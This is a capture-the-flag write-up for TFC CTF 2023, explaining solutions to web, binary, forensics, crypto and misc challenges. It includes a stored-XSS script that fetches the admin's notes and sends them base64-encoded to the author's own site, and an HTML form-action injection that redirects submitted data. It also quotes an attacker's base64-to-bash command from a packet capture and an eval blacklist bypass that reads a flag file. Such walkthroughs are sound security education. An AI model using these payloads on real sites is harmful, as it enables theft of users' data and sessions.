TFC CTF 2023
Web ๐
Baby Ducky Notes
This challenge looked like a normal notes sharing site, but after a quick view to the source code, it was easy to find the way to read the flag.
In fact the database.db
file had a query to initialize the notes table with this code:
query(con, f'''
INSERT INTO posts (
user_id,
title,
content,
hidden
) VALUES (
1,
'Here is a ducky flag!',
'{os.environ.get("FLAG")}',
0
);
''')
This could only means that the flag wasn’t hidden and the easiest way to find it was to make a GET request to the url http://challs.tfcctf.com:port/posts/view/admin
and the flag was in fact right there.
Baby Ducky Notes: Revenge
Now the challenge was a bit more difficult than the previous one because the flag was hidden and the only way to read it was to make the admin read it for me or by stealing the admin’s cookie which was HttpOnly. After looking for a while in the source code, I found a line from the template of the posts page:
<ul class="posts_ul">
{% for post in posts %}
<li>
<div class="blog_post">
<div class="container_copy">
<h1> {{post.get('title')}} </h1>
<h3> {{post.get('username')}} </h3>
<p> {{post.get('content') | safe}} </p>
</div>
</div>
</li>
{% endfor %}
</ul>
The content was rendered without any sanitizing and because of that I could perform an XSS using this payload
<script>
async function attack(){
var xhr = new XMLHttpRequest();
xhr.open("GET", "/posts/view/admin", true);
xhr.responseType = "text";
xhr.onload = () => {
window.location.href = "{input('Enter the url of your site: ')}?html=" + btoa(xhr.responseText.toString());
};
await xhr.send(null);
}
attack();
</script>
After executing this code the admin could read its notes (including the flag) and send the whole html code encrypted in base64 to my website where I had to decrypt it to find the flag.
Cookie Store
I really hated this challenge for a while because I couldn’t run the javascript code of the page (which was quite important) because of an error of the setHTML
javascript function which only worked when the site was running as localhost
or with an https
connection. I later found out a way to run docker as localhost
(it initially used the local ip 172.17.x.x) but even if I spent a lot of time to resolve this problem, the challenge was quite interesting, in fact this site printed our ’notes’ using some columns sorting method that was vulnerable.
const urlParams = new URLSearchParams(window.location.search);
const fields = urlParams.get('fields');
let form_html = '';
let fields_list = [];
if (fields) {
fields_list = fields.split(',');
fields_list.forEach(element => {
form_html += `<div class="mb-4">
<label for="${element}" ... >${element}</label>
<input type="text" name="${element}" id="${element}" ...>
</div>`;
});
}
// This will sanitize the input
document.querySelector('#form_builder').setHTML(form_html);
...
This code in fact injects the input wihout any check in the html source code, then it removes any javascript script or method like onerror
or onload
before writing it in the page.
This code is vulnerable because if I send this payload as a field
"><input type="submit" formaction="our site" id="pwned"><label name="
I can redirect the form data from the cookie store to my site and then read the flag that the admin wrote in the title field.
MCTree
This challenge was really easy but, I was tired (just a lot of skill issue) and I couldn’t understand the vulnerability during the CTF (sorry ZenHack) but anyway, the challenge didn’t have any source code to download. In fact it was only a site where you could register, login and, if after the login you had the admin username, you could achive the flag.
After a few attempts I saw that the challenge always removed any character like {}<>[]'"
so the payload was to send a username like {admin
so that the site could accept our request because the username was different from admin
and after a sanitizing our username was admin
anyway. And that’s it lol :).
Binary ๐ง
Diary
This challenge was really nice and easy because it had RWX segments in it, no PIE and also hadn’t any canary.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
It had an important funciton vuln
which only read 1024 chars in a 256 bytes long buffer, where I could perform an overflow to change the return pointer to another address
fgets((char *)&local_108,0x400,stdin);
After using ropgadgets
to find a useful code, I found a nice instruction
call rax
so the only thing that I had to do was to make a shellcode using the shellcraft
module of pwntools to create a shellcode and then call it by changing the return pointer to the shellcode address.
Shello-World
This challenge is exactly the same of Diary
, but in this one there is no buffer overflow to perform, because now the vuln
function is the following
fgets((char *)&local_108,0x100,stdin);
printf("Hello, ");
printf((char *)&local_108);
putchar(10); // (chr)(10) == '\n' => true
This is pretty different from diary but still vulnerable as there’s a format string vulnerability because the source file calls a printf
without set any format string which means that we can use the fmtstr_payload
function from pwntools to write a payload which replaces the address of the function exit
from the GOT with the address of the win
function that will open a shell on the remote machine.
Random
If you give a quick look at this challenge it doesn’t seem to be really vulnerable, but if you look at the call of the sran
function in the decompiled section of your tool, you can easily see something that looks like this
srand(time(NULL));
which can be easily reproduced in python by using the ctypes
library.
So the exploit was to reproduce all the numbers generated by the seeded random function of the source file using a python script and than send them to the container to recive the flag.
Forensics
List
This challenge provided a file with a lot of http comunications always with the status code 404
or 403
when the client tries to get some ‘random’ directories.
This is obviusly a bruteforce of the URIs directories that was performed using a tool like gobuster
or dirsearch
.
Once I noticed this, I filtered all the responses by removing all those which had the status code 404
or 403
. This showed me some packets that looked like a response to a reverse shell command.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This could only mean that somewhere in the file there was a command executed by the attacker. In fact after a while I found out that there were a lot of packets that were HTTP POST requests, all with the same length (756 bytes) and with the same paylaod.
echo "ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAifSIgMj4vZGV2L251bGw=" | base64 -d | bash
This is in fact a bash command encoded in base64 and this is what I got after I decoded it
find /home/ctf -type f -name "T" 2>/dev/null
and later I did the same on the next packet where I got the same payload with a little change
find /home/ctf -type f -name "F" 2>/dev/null
So the flag was just splitted in many different commands and the only thing left to do was to write a script to get by using a regex filter.
Some Traffic
This challenge required much more time than the previous one because it also had some normal http packets that were just requests and responses of the upload of three images to a website. After I’ve extracted all the images I tried to see what could be hidden in all the files, but I didn’t find anything suspicious. However, the first image had three columns of green pixels that seemed to be a type of hidden data.
(1, 84, 1)
(1, 70, 1)
(1, 67, 1)
(1, 67, 1)
(1, 84, 1)
(1, 70, 1)
(1, 123, 1)
This was the result when I tried to extract the RGB values of each pixel of each colum: the Red value was always 1 and it was the same for the Blue value, but the Green one seemed to be an ASCII value. As a matter of fact they were just the format of the flag TFCCTF{
hidden in the pixels.
MCTeenX
This challenge was really interesting because it provided a zip file protected by a password that I couldn’t bruteforce using a dictionary attack.
It only had one file zipped in it that was a .sh
file that normally has as first line like this
#!/bin/sh
Since I knew part of the file text I could try a Plaintext Attack using bkcrack
by executing this command
bkcrack -C src.zip -c script.sh -p temp_file.sh
(the temp_file.sh
file was just the known plaintext).
Luckily this tool could extract the script.sh
file that seemed to be just an echo of an encoded base64 text piped in the file red.png
.
The first thing that popped up into my head was to analyze it using zsteg
which found different things, but the most suspicious one was an hexadecimal text which, if decoded, appeared to be random bytes.
030a111418142c783b39380d397c0d25293324231c66220d367d3c23133c6713343e343b3931
After a few tries I attempted to xor it with the flag format TFCCTF{
which gave me back a string like this WLRWLRW
.
I then repetead this string until I filled the whole length of the hex string and I xored it again to see what I could get. Even if the first try went wrong because I mistyped the string, the following one decrypted the flag.
Cryptography ๐
Dizzy
Dizzy was the first challenge of the cyrpto section and it had this output
T4 l16 _36 510 _27 s26 _11 320 414 {6 }39 C2 T0 m28 317 y35 d31 F1 m22 g19 d38 z34 423 l15 329 c12 ;37 19 h13 _30 F5 t7 C3 325 z33 _21 h8 n18 132 k24
after thinking what this could mean, I saw that a few pairs were somehow suspicious
T0 F1 C2 C3 T4 F5 {6
Later I understood that all the pairs where just char:position
randomly mixed, and after I’ve written a quick script (just look the normal_solution
function in the solve script) I found the whole flag.
Mayday
Like the previous one, this challenge had this output
Whiskey Hotel Four Tango Dash Alpha Romeo Three Dash Yankee Oscar Uniform Dash Sierra One November Kilo India November Golf Dash Four Bravo Zero Uniform Seven
which was just the NATO alphabet and the solution was just to map every word to a character (or number) to find the flag.
P.S. The flag was in the format TFCCTF{FOUND_TEXT}
Alien Music
This challenge was just pure guessing, but the solution was the easiest one in the crypto section, it had this output
DC# C#D# C#C C#C DC# C#D# E2 C#5 CA EC# CC DE CA EB EC# D#F EF# D6 D#4 CC EC EC CC# D#E CC E4
After analyzing it for a while, I tried to connect the first pairs to the format TFCCTF{
and I tought that the connection could be:
ord('T') => 0x54 => {'D' : 5, 'C#' : 4}
ord('F') => 0x46 => {'C#' : 4, 'D#' : 6}
ord('C') => 0x43 => {'C#' : 4, 'C' : 3}
I tried to map all the pairs in this python dictionary :
d = {
"A": "0", "A#" : "1", "B" : "2", "C" : "3", "C#" : "4",
"D": "5", "D#" : "6", "E" : "7", "F" : "8", "F#" : "9",
"1": "a", "2" : "b", "3" : "c", "4" : "d", "5" : "e", "6" : "f"
}
and after that I wrote a quick script, I found the whole flag.
Rabid
Rabid had a ’little’ hint in the text which said that they wrote a little ’extra’ information in the message, in fact the output …
VEZDQ1RGe13kwdV9yNGIxZF9kMGc/IT8hPyE/IT8hPi8+Pz4/PjEyMzkwamNhcHNrZGowOTFyYW5kb21sZXR0ZXJzYW5kbnVtYmVyc3JlZWVlMmozfQ==
was a base64 encoded message with an encoded prefix that was the format TFCCTF{
and the only way to find the remaining flag was just to remove from the base64 message the encoded message TFCCTF{
and decode it again.
AES CTF Tool V1
To solve this challenge the easiest way was to install the tool that the admins wrote just for that challenge and execute the main.py
file.
alan@ubuntu:~$ python3 main.py
[INFO] Starting initial cryptanalysis.
[INFO] Starting initial cryptanalysis.
[INFO] Determining block size.
[X] Found block size: 16.
[INFO] Determining block chiper category.
[X] Found block cipher category: ECB_CBC.
[INFO] Starting fingerprinting.
[INFO] Determining block cipher mode.
[X] Found block cipher mode: ECB.
======= Probabilities =======
ECB: 100%
CBC: 0%
CFB: 0%
OFB: 0%
CTR: 0%
=============================
[INFO] ECB/CBC detected. Determining padding method.
[X] Found padding method: Block.
[INFO] Fingerprinting complete.
Would you like to perform a Chosen Plaintext Attack? (Y/n) Y
Y
Optimize search space for printable ascii? (Y/n) Y
Y
[INFO] Starting Chosen Plaintext Attack.
Offset: 8 bytes
Block number: 7
Found: T
Found: TF
Found: TFC
Found: TFCC
Found: TFCCT
Found: TFCCTF
Found: TFCCTF{
...
AES CTF Tool V2
This challenge was exactly like the previous one but the tool also required to pass it an encrypted chipertext to decrypt.
alan@ubuntu:~$ python3 main.py
[INFO] Starting initial cryptanalysis.
[INFO] Starting initial cryptanalysis.
[INFO] Determining block size.
[X] Found block size: 16.
[INFO] Determining block chiper category.
[X] Found block cipher category: ECB_CBC.
[INFO] Starting fingerprinting.
[INFO] Determining block cipher mode.
[X] Found block cipher mode: CBC.
======= Probabilities =======
CBC: 100%
ECB: 0%
CFB: 0%
OFB: 0%
CTR: 0%
=============================
[INFO] ECB/CBC detected. Determining padding method.
[X] Found padding method: Block+.
[INFO] Checking if the IV is reused for each encryption.
[INFO] Reuses IV: True.
[INFO] Fingerprinting complete.
Would you like to perform a Padding Oracle Attack? (Y/n) Y
Y
[INFO] Starting Padding Oracle Attack.
Enter the ciphertext to decrypt (in hexadecimal): 4a1e62c51fd9e5f79919...
Found byte: 84
Intermediate value: 85
Found byte: 247
Intermediate value: 245
Found byte: 214
Intermediate value: 213
Found byte: 159
Intermediate value: 155
...
Miscellaneous โ๏ธ
Discord Shenanigans V3
This challenge was just pure trolling because the flag was in the discord bot logo of the ctf server.
My First Calculator
I actually didn’t solved this challenge during the CTF because I didn’t know the existence of this exploit that I’m going to explain (credits dp_1). Python is just a ‘misterious’ programming language that has some strange vulnerabilities where it comes to strings. This challenge provided a python file like this
import sys
print("This is a calculator")
inp = input("Formula: ")
sys.stdin.close()
blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ."
if any(x in inp for x in blacklist):
print("Nice try")
exit()
fns = {
"pow": pow
}
print(eval(inp, fns, fns))
The exploit consisted in sending a payload written in italic that just could bypass the blacklist and than could read the flag doing something like this
''.join(i for i in open("flag", "r"))